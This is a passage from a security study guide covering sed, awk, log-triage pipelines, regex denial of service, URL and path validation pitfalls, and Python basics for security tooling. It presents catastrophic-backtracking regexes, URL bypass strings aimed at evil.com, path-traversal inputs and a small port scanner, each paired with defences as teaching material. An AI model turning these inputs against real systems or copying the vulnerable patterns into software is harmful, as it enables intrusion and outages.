sed 's/old/new/'    file      # first occurrence per line
sed 's/old/new/g'   file      # every occurrence
sed 's/old/new/2'   file      # only the second occurrence on each line
sed 's/old/new/gi'  file      # all occurrences, case-insensitive

# Any delimiter works, which avoids escaping slashes in paths
sed 's|/var/log|/mnt/logs|g' config.conf     # far clearer than escaping

# Capture groups and & in the replacement
echo '2026-10-01' | sed -E 's/([0-9]{4})-([0-9]{2})-([0-9]{2})/\3\/\2\/\1/'
# 01/10/2026   -- reorder captured fields

echo 'user=alice' | sed -E 's/user=(.*)/USER:[\1]/'      # USER:[alice]
echo 'error here' | sed 's/error/<<&>>/'                 # <<error>> (& = match)

# Addressing: restrict where commands apply
sed '3d'            file      # delete line 3
sed '/^#/d'         file      # delete comment lines
sed '/^$/d'         file      # delete blank lines
sed '1,10p'      -n file      # print only lines 1-10 (-n suppresses default)
sed '$d'            file      # delete the last line
sed '/BEGIN/,/END/d' file     # delete an inclusive block between markers
sed '/^#/!s/foo/bar/' file    # substitute only on NON-comment lines

# Combined: comment out a directive only inside a specific block
sed '/<VirtualHost/,/<\/VirtualHost>/ s/^\(\s*ServerSignature\)/#\1/' httpd.conf

# In-place editing: always keep a backup, always dry-run first
sed    's/PermitRootLogin yes/PermitRootLogin no/' /etc/ssh/sshd_config  # preview
sed -i.bak 's/PermitRootLogin yes/PermitRootLogin no/' /etc/ssh/sshd_config
#      └ writes /etc/ssh/sshd_config.bak before modifying

diff /etc/ssh/sshd_config.bak /etc/ssh/sshd_config   # verify the change

# Portability: GNU vs BSD differ on -i
sed -i    's/a/b/' f      # GNU
sed -i '' 's/a/b/' f      # BSD/macOS

# Useful non-substitution commands
sed -n '/ERROR/p'          app.log    # print matching (like grep)
sed -n '5,10p'             app.log    # print a line range
sed -n '/start/,/stop/p'   app.log    # print a block
sed '2i\inserted line'     file       # insert before line 2
sed '$a\appended line'     file       # append after the last line
sed 's/\r$//'              dos.txt    # strip CR from CRLF line endings

Key Takeaways

• sed processes one line at a time through a pattern space; think in terms of that cycle.
• s/old/new/g is the workhorse; & inserts the whole match and \1 inserts captured groups.
• Any character can be the s delimiter, which avoids unreadable slash escaping in paths.
• Addressing restricts commands to lines, patterns, or ranges, and ! negates the selection.
• Always preview without -i, then use -i.bak to keep a backup; GNU and BSD differ in -i syntax.
• sed -n with p turns it into a selective printer, useful for extracting line ranges and blocks.

🧪 Practice

1. Use sed to comment out every line containing debug in a configuration file, previewing first.
2. Reformat a date from YYYY-MM-DD to DD/MM/YYYY using capture groups.
3. Extract only the lines between two markers in a log file using a pattern range.
4. Interview-style: "What is the risk of running sed -i across configuration files on 500 servers?" Hint: consider patterns that match more than intended, the absence of a backup, service restart behaviour, and why a change should be verified on one host before being fanned out.

awk for Field-Oriented Text Processing

Theory

Where grep filters lines and sed edits them, awk is a small programming language for records and fields. By default each line is a record and whitespace separates fields, accessible as $1, $2, and so on, with $0 being the whole line and NF the number of fields. This makes it the natural tool for the columnar data that security work is full of: log lines, ps output, CSV exports.

The structure of an awk program is pattern { action }. For each record, if the pattern matches, the action runs. Omitting the pattern runs the action on every record; omitting the action prints the record. Special patterns BEGIN and END run before the first record and after the last, which is what makes aggregation possible.

The decisive advantage over cut is that awk splits on runs of whitespace and handles variable-width columns correctly, and that it can compute. Associative arrays (count[$1]++) let you aggregate in a single pass without sort | uniq -c, which is both faster and more flexible because you can sum bytes, track maxima, or group by composite keys.

Practical built-ins worth knowing: NR (record number overall), FNR (within the current file), FS and OFS (input and output field separators), printf for formatted output, and functions such as length(), substr(), split(), and gsub().

Examples

# Field extraction, correct where cut fails
ps aux | awk '{print $2, $11}'                 # PID and command
awk -F: '{print $1, $3}' /etc/passwd           # -F sets the field separator
awk -F: '$3 >= 1000 {print $1}' /etc/passwd    # pattern: numeric comparison
awk 'NF == 0' file                             # blank lines (zero fields)
awk '{print $NF}' access.log                   # last field, whatever it is
awk '{print $(NF-3)}' auth.log                 # fourth from the end

# Aggregation in a single pass: awk's real advantage
# Count requests per IP
awk '{count[$1]++} END {for (ip in count) print count[ip], ip}' access.log \
  | sort -rn | head

# SUM bytes per IP -- impossible with sort|uniq -c
awk '{bytes[$1] += $10} END {for (ip in bytes) printf "%12d  %s\n", bytes[ip], ip}' \
    access.log | sort -rn | head

# Group by a composite key
awk '{key = $1 "|" $9; hits[key]++} END {for (k in hits) print hits[k], k}' \
    access.log | sort -rn | head

# BEGIN/END for headers, setup, and summaries
awk 'BEGIN { FS=":"; OFS="\t"; print "USER","UID","SHELL" }
     $3 >= 1000 { print $1, $3, $7 }
     END { printf "\n%d regular accounts\n", NR }' /etc/passwd

# Conditions and computation: find slow requests and summarize
awk '$NF > 1.0 {
        slow++                       # count requests over 1 second
        total += $NF                 # accumulate duration
        if ($NF > max) { max = $NF; worst = $7 }
     }
     END {
        printf "slow requests: %d\n", slow
        printf "mean duration: %.3fs\n", total / slow
        printf "worst: %s (%.3fs)\n", worst, max
     }' access.log

# Status code distribution, formatted
awk '{codes[$9]++}
     END {
        for (c in codes)
            printf "%-6s %8d  %5.1f%%\n", c, codes[c], 100 * codes[c] / NR
     }' access.log | sort -k2 -rn

Variable	Meaning
$0	The entire record (line)
$1...$NF	Individual fields
NF	Number of fields in this record
NR	Record number across all input
FNR	Record number within the current file
FS / OFS	Input / output field separator

Key Takeaways

• awk works on records and fields, splitting on whitespace runs, which is why it succeeds where cut fails.
• The pattern { action } structure with BEGIN and END blocks supports filtering and aggregation in one tool.
• Associative arrays aggregate in a single pass and can sum, average, and group by composite keys.
• $NF and $(NF-n) address fields from the end, which handles logs with variable leading fields.
• -F sets the input separator for colon-, comma-, or pipe-delimited data.
• For anything beyond a few lines of awk, consider Python for maintainability.

🧪 Practice

1. Use awk to list all accounts in /etc/passwd with a login shell and a UID below 1000.
2. Compute total bytes transferred per client IP from a web access log, sorted descending.
3. Produce a status-code distribution with percentages from an access log.
4. Interview-style: "When would you reach for awk over a Python script, and when the reverse?" Hint: weigh a one-pass streaming aggregation on a remote host with nothing installed against a maintainable parser with tests, error handling, and structured output.

Building Log Parsing and Triage Pipelines

Theory

Individually the tools are simple; combined, they are how real investigations proceed. The reason to compose them rather than write a program is iteration speed: during triage you do not know the answer yet, so you need to reshape the question every thirty seconds, and a pipeline you can edit in place beats a script you have to maintain.

A productive triage pipeline follows a consistent shape. Reduce first: narrow to the relevant time window and relevant log, because everything downstream gets cheaper. Filter next: select candidate events and strip known-good noise. Extract the fields you care about. Aggregate to find outliers. Inspect the raw lines behind the outliers, because aggregates tell you where to look, not what happened.

That final step matters and is frequently skipped. A count tells you one IP made 4,000 requests; only the raw lines tell you they were all 401s against /api/login with rotating usernames. Always pivot back from the aggregate to the evidence.

Two practical habits make a large difference. Build pipelines incrementally, checking output at each stage rather than writing the whole thing and debugging backwards. And save interesting intermediate results to files, because re-running an expensive scan over multi-gigabyte logs wastes the time you need for analysis.

Examples

   REDUCE ──► FILTER ──► EXTRACT ──► AGGREGATE ──► INSPECT
   narrow      select     pull out     count,       pivot back to
   the time    events,    the fields   group,       the RAW lines
   and files   drop noise you need     rank         behind the top hits

   Each stage shrinks the data. Build it left to right, checking as you go.

# Build incrementally: verify each stage before adding the next
zcat auth.log.*.gz | grep 'Failed password' | head -3
zcat auth.log.*.gz | grep 'Failed password' | awk '{print $(NF-3)}' | head -3
zcat auth.log.*.gz | grep 'Failed password' | awk '{print $(NF-3)}' \
  | sort | uniq -c | sort -rn | head

# A complete triage: SSH brute force candidates, then evidence
# 1. Reduce + filter + extract + aggregate
zcat /var/log/auth.log.*.gz \
  | grep 'Failed password' \
  | awk '{print $(NF-3)}' \
  | sort | uniq -c | sort -rn \
  | head -10 | tee /tmp/top-offenders.txt

# 2. Did any of those also SUCCEED? This is the question that matters.
for ip in $(awk '{print $2}' /tmp/top-offenders.txt); do
    n=$(zcat /var/log/auth.log.*.gz | grep -c "Accepted .* from $ip" || true)
    [[ "$n" -gt 0 ]] && printf 'COMPROMISE CANDIDATE: %s (%d successes)\n' "$ip" "$n"
done

# 3. Inspect the raw evidence for a confirmed hit
zcat /var/log/auth.log.*.gz | grep '203.0.113.9' | head -50

# Web log triage: find enumeration and error spikes
LOG=access.log

# Requests per minute, to locate the spike window
awk '{split($4, t, ":"); print t[2] ":" t[3]}' "$LOG" \
  | sort | uniq -c | sort -rn | head -5

# Who generated the most 4xx/5xx responses?
awk '$9 ~ /^[45]/ {bad[$1]++} END {for (i in bad) print bad[i], i}' "$LOG" \
  | sort -rn | head

# Directory enumeration signature: many distinct 404 paths from one client
awk '$9 == 404 {print $1, $7}' "$LOG" \
  | sort -u \
  | awk '{c[$1]++} END {for (i in c) if (c[i] > 50) print c[i], i}' \
  | sort -rn
#   sort -u first so repeat hits on the SAME path count once: we want
#   breadth of paths tried, not total request volume.

# Correlating two sources on a shared key (join needs sorted input)
join -1 1 -2 1 \
     <(awk '{print $1}' access.log | sort -u) \
     <(awk '{print $1}' firewall-blocks.log | sort -u)
# IPs that appear in BOTH the web log and the firewall block list

Key Takeaways

• Follow the reduce, filter, extract, aggregate, inspect sequence; each stage shrinks the data.
• Always pivot from an aggregate back to raw log lines, because counts locate the issue but do not explain it.
• Build pipelines incrementally and check the output of each stage.
• Save expensive intermediate results with tee so you are not re-scanning large logs during analysis.
• Deduplicate before counting when you care about breadth (distinct paths tried) rather than volume.
• join correlates two sorted sources on a shared key, which is how you connect log sources without a SIEM.

🧪 Practice

1. Build a pipeline that identifies the busiest one-minute window in a web access log.
2. Write a triage sequence that finds IPs with many failed logins followed by at least one success.
3. Detect probable directory enumeration by counting distinct 404 paths per client IP.
4. Interview-style: "You have 50GB of logs and 20 minutes before a briefing. Describe your approach." Hint: narrow the time window and log source first, state the hypothesis you are testing, aggregate to find outliers, then spend the remaining time reading raw lines rather than building more pipelines.

Regex Denial of Service (ReDoS)

Theory

Most regex engines, including those in Python, JavaScript, Java, and .NET, use backtracking. When a pattern can match a given input in many different ways, the engine may try an exponential number of possibilities before concluding the input does not match. A pattern that runs instantly on normal input can take years on a crafted string of modest length. That is ReDoS: a denial of service caused by the pattern itself.

The structural cause is ambiguity under repetition: a repeated group whose inner pattern can match the same text in multiple ways. The classic shapes are nested quantifiers (a+)+, repeated alternation with overlapping branches (a|a)*, and adjacent repetitions of overlapping classes \s*\s*. When such a pattern meets a long string of a characters followed by one character that forces failure, the engine must try every way of splitting those as between the inner and outer quantifiers.

This is a real and common vulnerability class. It appears in input validators, log parsers (a log parser that an attacker can feed arbitrary user-agent strings to), and WAF rules, where the irony is that the security control becomes the outage.

Three defences exist. Rewrite the pattern to be unambiguous, usually with a negated character class or by removing nesting. Use a non-backtracking engine: Go's regexp and Rust's regex are linear-time by construction and cannot suffer ReDoS; RE2 is available in other languages as a library. Or bound the work: cap input length before matching and apply a timeout.

Examples

import re
import time

# VULNERABLE: nested quantifier creates exponential ambiguity
EVIL = re.compile(r"^(a+)+$")

for n in (18, 20, 22, 24):
    s = "a" * n + "!"          # the '!' forces failure AFTER all the work
    start = time.perf_counter()
    EVIL.search(s)
    print(f"n={n}: {time.perf_counter() - start:.3f}s")
# n=18: 0.09s   n=20: 0.37s   n=22: 1.48s   n=24: 5.92s
# Each extra character roughly DOUBLES the time: 2^n behaviour.

  Why (a+)+ explodes on "aaaa!"

  The outer + can group the inner matches in many ways:
      (aaaa)         (aaa)(a)       (aa)(aa)       (a)(aaa)
      (aa)(a)(a)     (a)(aa)(a)     (a)(a)(aa)     (a)(a)(a)(a)

  That is 2^(n-1) partitions for n characters. Because '!' can never
  match, the engine must exhaust EVERY partition before failing.

  The fix removes the ambiguity: ^a+$ has exactly ONE way to match.

# Patterns to recognize in code review
DANGEROUS = [
    r"^(a+)+$",                       # nested quantifier
    r"^(a|a)*$",                      # overlapping alternation
    r"^(\s*)*$",                      # nested quantifier over whitespace
    r"^(\w+\s?)*$",                   # overlapping: \w and \s? can both shift
    r"^([a-zA-Z]+)*$",                # nested quantifier
    r"(.*,)*",                        # repeated greedy with separator
]

SAFE_REWRITES = {
    r"^(a+)+$":        r"^a+$",             # remove the nesting
    r"^(\w+\s?)*$":    r"^[\w\s]*$",        # single unambiguous class
    r'"(.*?)"':        r'"([^"]*)"',        # negated class cannot backtrack
}

# Defence 1: bound the input before matching
MAX_LEN = 256

def validate(value: str, pattern: re.Pattern) -> bool:
    if len(value) > MAX_LEN:          # reject before the engine ever runs
        return False
    return pattern.fullmatch(value) is not None


# Defence 2: use a linear-time engine. The third-party `regex` module
# supports atomic groups and possessive quantifiers that stop backtracking.
import regex                           # pip install regex
SAFE = regex.compile(r"^(?>a+)+$")     # atomic group: never gives back

// Defence 3: an engine that cannot backtrack at all.
// Go's regexp uses RE2: guaranteed linear time in the input length.
// This pattern is harmless here no matter how long the input is.
package main

import (
	"fmt"
	"regexp"
	"strings"
)

func main() {
	re := regexp.MustCompile(`^(a+)+$`) // safe: RE2 has no backtracking
	fmt.Println(re.MatchString(strings.Repeat("a", 100000) + "!"))
}

Key Takeaways

• Backtracking engines can take exponential time when a pattern is ambiguous under repetition.
• The warning shapes are nested quantifiers (x+)+, overlapping alternations (a|a)*, and adjacent overlapping repetitions.
• Failure cases are the expensive ones, because the engine must exhaust every possibility before giving up.
• Negated character classes and flattened patterns remove the ambiguity that causes the blowup.
• RE2-based engines (Go, Rust, the RE2 library) are linear by construction and immune to ReDoS.
• Always cap input length before matching, and never compile patterns from untrusted input.

🧪 Practice

1. Reproduce the exponential timing of ^(a+)+$ locally, then rewrite the pattern and show the timing become constant.
2. Review a codebase for patterns matching the dangerous shapes listed above, and assess whether the input is attacker-controlled.
3. Rewrite ^(\w+\s?)*$ into an equivalent pattern that cannot backtrack catastrophically.
4. Interview-style: "A regex validating email addresses causes CPU spikes in production. How do you diagnose and fix it?" Hint: look for repetition ambiguity in the pattern, consider what input triggers the worst case, and discuss both the immediate mitigation (input length cap, timeout) and the real fix.

Regex Pitfalls in Input Validation

Theory

Regex is widely used for input validation and is frequently the wrong tool for it. The core problem is that regex matches syntax, while security decisions usually depend on semantics. A string can be syntactically valid and semantically dangerous.

Several failure modes recur. Unanchored patterns validate that a string contains something acceptable rather than is something acceptable, which is a direct bypass. Blocklists attempt to enumerate badness and always lose to encoding, case variation, and alternative syntax. Parsing with regex what is not a regular language fails structurally: nested HTML, quoted CSV with embedded delimiters, and URLs with userinfo components are not regular, and a regex approximating them will disagree with the real parser in exploitable ways.

That last point is the deepest one. If your validator's model of a URL differs from the HTTP client's model, an attacker constructs a string that your validator reads as trusted.com and the client reads as evil.com. https://trusted.com@evil.com/ is the classic case: the part before @ is userinfo, so the host is evil.com, but a naive "starts with trusted.com" regex approves it. This parser differential class underlies SSRF filter bypasses, open redirects, and host-header attacks.

The rule to internalize: parse, do not validate with patterns. Use a real parser for structured data (a URL library, an email library, a path canonicalizer), then apply allowlist checks to the parsed components. Use regex for simple, flat, well-bounded formats where you can enumerate exactly what is allowed.

Examples

# The parser differential that defeats URL validation by regex
from urllib.parse import urlparse
import re

NAIVE = re.compile(r"^https://trusted\.com")

tests = [
    "https://trusted.com/ok",
    "https://trusted.com@evil.com/",       # userinfo: real host is evil.com
    "https://trusted.com.evil.com/",       # subdomain of attacker domain
    "https://evil.com/?x=https://trusted.com",
    "https://trusted.com\\@evil.com/",     # backslash handling differs by lib
]

for t in tests:
    regex_ok = bool(NAIVE.match(t))
    real_host = urlparse(t).hostname          # what the HTTP client will use
    print(f"{str(regex_ok):<5}  host={real_host!r:<22}  {t}")
# True   host='evil.com'          https://trusted.com@evil.com/
#  ^ regex approves, the request goes to the attacker

# CORRECT: parse first, then allowlist the parsed components
from urllib.parse import urlparse

ALLOWED_HOSTS = frozenset({"trusted.com", "api.trusted.com"})

def is_safe_url(raw: str) -> bool:
    try:
        u = urlparse(raw)
    except ValueError:
        return False
    if u.scheme not in ("https",):         # scheme allowlist
        return False
    if u.username or u.password:           # reject userinfo entirely
        return False
    if u.port not in (None, 443):          # unexpected port
        return False
    return (u.hostname or "").lower() in ALLOWED_HOSTS   # exact host match


for t in ["https://trusted.com@evil.com/", "https://trusted.com/ok"]:
    print(is_safe_url(t), t)
# False https://trusted.com@evil.com/
# True  https://trusted.com/ok

# Canonicalize BEFORE validating: path traversal defeats pattern matching
import os
from pathlib import Path

BASE = Path("/srv/uploads").resolve()

def resolve_safe(user_path: str) -> Path:
    # Resolve symlinks and '..' FIRST, then check containment.
    candidate = (BASE / user_path).resolve()
    if not candidate.is_relative_to(BASE):      # Python 3.9+
        raise ValueError("path escapes the base directory")
    return candidate

for p in ["report.pdf", "../../etc/passwd", "a/../../../etc/shadow"]:
    try:
        print("OK  ", resolve_safe(p))
    except ValueError as e:
        print("DENY", p, "->", e)

# A regex blocklist for '../' misses encodings (%2e%2e%2f), backslashes,
# unicode variants, and symlinks. Canonicalization handles all of them.

Pitfall	Why it fails	Correct approach
Unanchored validation	Matches a substring, not the whole value	fullmatch, or \A...\Z
Blocklisting bad input	Cannot enumerate all encodings and variants	Allowlist what is permitted
Regex for URLs, HTML, CSV	Not regular languages; differs from the real parser	Use a real parser, then allowlist
Validating before canonicalizing	../, symlinks, encodings bypass the check	Canonicalize first, then check
$ in validation	Also matches before a trailing newline	Use \Z
Patterns from user input	Injection and ReDoS	re.escape, or do not accept patterns

Key Takeaways

• Regex matches syntax; security decisions need semantics, so parse structured data with a real parser.
• Parser differentials between your validator and the consuming library are an exploitable gap, as in https://trusted.com@evil.com/.
• Always anchor validation patterns and use fullmatch rather than search.
• Allowlist what is permitted; blocklists of dangerous input are reliably bypassed.
• Canonicalize paths and decode input before validating, never after.
• Regex is appropriate for flat, bounded formats where the permitted set can be stated exactly.

🧪 Practice

1. Write a URL validator using a real parser plus a host allowlist, and test it against the five bypass strings above.
2. Demonstrate a path traversal that defeats a ../ blocklist but is stopped by canonicalization.
3. Explain why validating an email address with a regex is acceptable for format checking but insufficient for deciding trust.
4. Interview-style: "An SSRF filter blocks 127.0.0.1 and localhost. List four ways that fails." Hint: consider alternative representations of the loopback and link-local addresses, DNS names that resolve to internal addresses, redirects followed after the check, and IPv6 forms.

<a id="23-introduction-to-python-for-security"></a>

2.3 Introduction to Python for Security

Python is the default language of security tooling because it handles bytes, networks, and binary structures without ceremony, and because almost every library you need already exists. This section covers the language essentials and then the specific libraries that recur throughout the rest of this guide.

Python Syntax, Types, and Control Flow

Theory

Python's design goal is readability, and the consequences show up immediately: indentation defines blocks rather than braces, and there is a strong preference for one obvious way to do each thing. For security work the practical appeal is that the gap between "idea" and "working script" is very small, which matters when you are writing a tool to answer one question during an investigation.

The type system is dynamic but strong. Variables have no declared type, but values do, and Python will not silently coerce between incompatible types the way some languages do: "1" + 1 raises a TypeError rather than guessing. This catches a class of bugs at the point of error rather than producing nonsense downstream.

The types that matter most here are int (arbitrary precision, which is why cryptographic arithmetic works without special libraries), str (Unicode text), bytes (raw binary, covered in detail later), list, dict, set, and tuple. The distinction between mutable (list, dict, set) and immutable (str, bytes, tuple, int) types explains a recurring bug class involving shared state.

Control flow is conventional, with two features worth highlighting. Truthiness means empty collections, zero, None, and empty strings are all false, which makes if not results: idiomatic. And comprehensions express filtering and mapping compactly, which is why so much security tooling is written as one-line transformations over collections.

Examples

# Dynamic but strong typing
x = 42              # int, arbitrary precision -- no overflow
x = "now a string"  # rebinding to a different type is fine

print(2 ** 4096)    # works: Python ints grow as needed (crypto-friendly)
# print("1" + 1)    # TypeError: no silent coercion

# The core collection types
ports    = [22, 80, 443]                      # list: ordered, mutable
services = {22: "ssh", 80: "http"}            # dict: key-value mapping
seen     = {"10.0.0.1", "10.0.0.2"}           # set: unique, fast membership
record   = ("10.0.0.1", 443, "open")          # tuple: immutable, hashable

print(22 in services)        # True  -- dict membership tests KEYS
print("10.0.0.1" in seen)    # True  -- set membership is O(1)

# Comprehensions: filter and map in one readable expression
log_lines = [
    "10.0.0.1 GET /index 200",
    "10.0.0.2 GET /admin 403",
    "10.0.0.1 POST /login 401",
]

# Every line that was denied or unauthorized
denied = [line for line in log_lines if line.split()[-1] in ("401", "403")]

# Unique source IPs -- set comprehension deduplicates automatically
sources = {line.split()[0] for line in log_lines}

# Build a lookup: IP -> number of requests
from collections import Counter
counts = Counter(line.split()[0] for line in log_lines)
print(counts.most_common(1))      # [('10.0.0.1', 2)]

# The mutable default argument: a classic bug worth recognizing
def add_finding_bad(finding, findings=[]):    # WRONG: the list is created
    findings.append(finding)                  # ONCE, at definition time, and
    return findings                           # SHARED across all calls

print(add_finding_bad("a"))    # ['a']
print(add_finding_bad("b"))    # ['a', 'b']  <- leaked from the previous call

def add_finding(finding, findings=None):      # CORRECT
    if findings is None:
        findings = []
    findings.append(finding)
    return findings

# Control flow and truthiness
results = []
if not results:                      # empty list is falsy
    print("no findings")

for i, port in enumerate([22, 80, 443], start=1):
    print(f"{i}. port {port}")       # f-strings: the standard formatting

# Walrus operator: assign and test in one expression (Python 3.8+)
if (n := len(log_lines)) > 2:
    print(f"{n} lines to review")

Key Takeaways

• Python is dynamically but strongly typed, so type errors surface immediately rather than producing silent nonsense.
• Integers have arbitrary precision, which makes cryptographic arithmetic straightforward.
• set gives constant-time membership tests, which matters when checking against large indicator lists.
• Mutable default arguments are evaluated once at definition time and are a recurring source of bugs.
• Comprehensions and collections.Counter express most log-analysis transformations concisely.
• f-strings are the current standard for string formatting.

🧪 Practice

1. Write a comprehension that extracts unique status codes from a list of log lines.
2. Demonstrate the mutable default argument bug and fix it.
3. Use collections.Counter to produce the top five most frequent values from a list, and compare the code with the shell sort | uniq -c idiom.
4. Interview-style: "You need to check 10 million log lines against a list of 50,000 known-bad IPs. What data structure do you use and why?" Hint: compare the time complexity of membership testing in a list against a set, and consider what that difference means multiplied by ten million.

Functions, Modules, and Virtual Environments

Theory

As a script grows past a few dozen lines, structure stops being optional. Functions give you named, testable units; modules group related functions; and virtual environments stop one project's dependencies from breaking another's.

Python functions support default arguments, keyword arguments, and type hints. Type hints are not enforced at runtime, but they are checked by tools such as mypy and, more importantly, they document intent precisely — particularly valuable in security code where the distinction between str and bytes is the difference between working and broken.

A module is simply a .py file. The if __name__ == "__main__": guard is the idiom that lets a file work both as an importable library and as a runnable script, which is exactly what you want for a security tool: importable for tests, runnable on the command line.

Virtual environments are not optional in practice. Installing packages globally leads to version conflicts between projects and, worse, means a pip install of a typosquatted package affects everything on the machine. python -m venv creates an isolated environment; pip install -r requirements.txt makes the install reproducible. Pinning exact versions and using a lock file with hashes protects against a dependency being replaced upstream, which is a real supply chain attack vector covered in Chapter 10.

Examples

#!/usr/bin/env python3
"""scanner.py -- importable module and runnable script."""

from __future__ import annotations
import socket
from dataclasses import dataclass


@dataclass(frozen=True)
class ScanResult:
    host: str
    port: int
    is_open: bool


def check_port(host: str, port: int, timeout: float = 1.0) -> ScanResult:
    """Type hints document intent; defaults keep the common case simple."""
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
        sock.settimeout(timeout)                 # never block forever
        is_open = sock.connect_ex((host, port)) == 0   # 0 means success
    return ScanResult(host=host, port=port, is_open=is_open)


def scan(host: str, ports: list[int], *, timeout: float = 1.0) -> list[ScanResult]:
    """The * forces `timeout` to be passed by keyword, which prevents
    accidental positional misuse at the call site."""
    return [check_port(host, p, timeout) for p in ports]


if __name__ == "__main__":        # runs only when executed directly,
    import sys                    # not when imported by another module
    target = sys.argv[1]
    for result in scan(target, [22, 80, 443]):
        if result.is_open:
            print(f"{result.host}:{result.port} open")

# Virtual environments: isolate every project
python3 -m venv .venv                 # create
source .venv/bin/activate             # activate (Linux/macOS)
# .venv\Scripts\activate              # Windows

pip install requests scapy beautifulsoup4
pip freeze > requirements.txt         # capture exact versions
deactivate                            # leave the environment

# Reproduce elsewhere
python3 -m venv .venv && source .venv/bin/activate
pip install -r requirements.txt

  requirements.txt: pin exactly, and verify hashes for anything sensitive

    requests==2.32.3 \
      --hash=sha256:70761cfe03c773ceb22aa2f671b4757976145175cdfca038c02654d061d6dcc6

  Loose pinning (requests>=2.0) means a future install can pull a different
  package than the one you reviewed. Hash pinning means a compromised or
  replaced artifact fails to install rather than silently running.

# Package layout for a tool that outgrows a single file
#   mytool/
#   ├── pyproject.toml
#   ├── requirements.txt
#   ├── src/mytool/
#   │   ├── __init__.py        marks the directory as a package
#   │   ├── __main__.py        enables: python -m mytool
#   │   ├── scanner.py
#   │   └── report.py
#   └── tests/
#       └── test_scanner.py

Key Takeaways

• Type hints document intent and are checkable by mypy, which matters most for the str/bytes distinction.
• The if __name__ == "__main__": guard makes a file both importable and runnable.
• Keyword-only arguments (after *) prevent positional misuse at call sites.
• Virtual environments isolate dependencies; installing globally causes conflicts and widens supply chain exposure.
• Pin exact versions in requirements.txt, and pin hashes for anything security-sensitive.
• dataclass gives structured records with minimal boilerplate, which suits scan results and findings.

🧪 Practice

1. Create a virtual environment, install a package, export requirements.txt, and reproduce the environment from scratch.
2. Refactor a single-file script into a module with functions and a __main__ guard, then import and call one of its functions from a separate file.
3. Add type hints to an existing script and run mypy against it.
4. Interview-style: "Why is installing packages globally with sudo pip install a security problem?" Hint: consider what code runs during installation, what privileges it runs with, and the blast radius of a single typosquatted package name.

Strings, Bytes, and Encoding Handling

Theory

This is the single most important Python topic for security work, and the one that causes the most confusion. Python 3 draws a hard line between text and binary data, and that line is exactly where most security bugs involving encoding live.

A str is a sequence of Unicode code points: abstract characters, with no inherent byte representation. A bytes object is a sequence of integers from 0 to 255: raw binary, with no inherent meaning as text. Converting between them requires an explicit encoding: str.encode() produces bytes, bytes.decode() produces text. Python refuses to guess, which feels pedantic until you realize that guessing is what produced decades of encoding bugs.

Everything that touches the outside world is bytes: network sockets, files opened in binary mode, cryptographic functions, subprocess output. Everything you reason about as text is str. The discipline is to decode at the boundary on input, work in str internally, and encode at the boundary on output.

The security relevance is substantial. Hash functions take bytes, so hashing a password requires an explicit encoding choice, and getting it wrong produces different digests for the same password. Unicode normalization means visually identical strings can have different byte sequences, which enables homograph attacks and filter bypasses. And decoding with the wrong codec, or with errors="ignore", silently discards data — which an attacker can use to smuggle characters past a filter that later disappear.

Examples

# The fundamental distinction
text = "héllo"                  # str: 5 Unicode code points
data = text.encode("utf-8")     # bytes: b'h\xc3\xa9llo' -- 6 BYTES
print(len(text), len(data))     # 5 6   <- é is two bytes in UTF-8

print(data.decode("utf-8"))     # héllo -- round trip
# print(text + data)            # TypeError: cannot mix str and bytes

print(data[0], type(data[0]))   # 104 <class 'int'>  -- indexing gives an int
print(data[0:1])                # b'h'               -- slicing gives bytes

# Encoding matters for anything cryptographic
import hashlib

pw = "pässwort"
print(hashlib.sha256(pw.encode("utf-8")).hexdigest()[:16])    # one digest
print(hashlib.sha256(pw.encode("latin-1")).hexdigest()[:16])  # a DIFFERENT one
# Same password, different encoding, different hash. Always encode
# explicitly and consistently, and record which encoding you chose.

# Error handling on decode: each mode has security consequences
raw = b"admin\xff\xfeuser"

print(raw.decode("utf-8", errors="ignore"))    # 'adminuser'  <- bytes VANISH
print(raw.decode("utf-8", errors="replace"))   # 'admin��user'
# print(raw.decode("utf-8"))                   # UnicodeDecodeError (strict)

# errors="ignore" is dangerous in a security context: a filter sees one
# string, a downstream consumer that decodes differently sees another.

# Unicode normalization: visually identical, byte-different
import unicodedata

a = "café"                    # é as one code point U+00E9
b = "café"              # e + combining acute U+0301

print(a == b)                                     # False -- different strings
print(len(a), len(b))                             # 4 5
print(unicodedata.normalize("NFC", a) ==
      unicodedata.normalize("NFC", b))            # True after normalization

# Security rule: normalize to a single form (NFC) BEFORE comparing or
# validating identifiers, or an attacker registers a visually identical name.
def canonical_username(name: str) -> str:
    return unicodedata.normalize("NFKC", name).casefold().strip()

print(canonical_username("Admin") == canonical_username("admin"))   # True

# Common encodings in security tooling
import base64, binascii

raw = b"\x00\x01\xff payload"
print(base64.b64encode(raw))              # b'AAH/IHBheWxvYWQ='
print(base64.b64decode("AAH/IHBheWxvYWQ="))
print(binascii.hexlify(raw))              # b'0001ff207061796c6f6164'
print(bytes.fromhex("0001ff"))            # b'\x00\x01\xff'
print(raw.hex())                          # '0001ff207061796c6f6164'

import urllib.parse
print(urllib.parse.quote("../etc/passwd"))         # %2E%2E/etc/passwd variants
print(urllib.parse.unquote("%2e%2e%2fetc%2fpasswd"))   # ../etc/passwd

Operation	Direction	Example
str.encode(codec)	text to bytes	"a".encode("utf-8")
bytes.decode(codec)	bytes to text	b"a".decode("utf-8")
bytes.hex() / bytes.fromhex()	binary to hex text and back	debugging, signatures
base64.b64encode/decode	binary to ASCII-safe and back	tokens, transport
unicodedata.normalize	text to canonical text	before comparison

Key Takeaways

• str is Unicode text; bytes is raw binary. Conversion requires an explicit encoding and Python never guesses.
• Decode at the input boundary, work in str, encode at the output boundary.
• Hash and cryptographic functions take bytes, so the encoding choice directly changes the result.
• errors="ignore" silently discards bytes and can be used to smuggle input past filters.
• Normalize Unicode (NFC or NFKC) before comparing identifiers, or visually identical strings compare unequal.
• Indexing bytes yields an int; slicing yields bytes, which surprises people parsing binary formats.

🧪 Practice

1. Show that the same password hashed after UTF-8 and UTF-16 encoding produces different digests.
2. Construct two strings that render identically but compare unequal, then make them compare equal through normalization.
3. Demonstrate how errors="ignore" can make a string pass a filter check that the raw bytes would have failed.
4. Interview-style: "A login system treats usernames as case-insensitive. What Unicode issue could let an attacker impersonate another user?" Hint: consider characters whose case-folded or compatibility-normalized form collides with an ASCII character, and why normalization order relative to the uniqueness check matters.

File and Binary Data Manipulation

Theory

Security work reads files that are not text: memory dumps, packet captures, firmware images, malware samples, disk images. Python handles these through the same file interface, with one critical switch: binary mode.

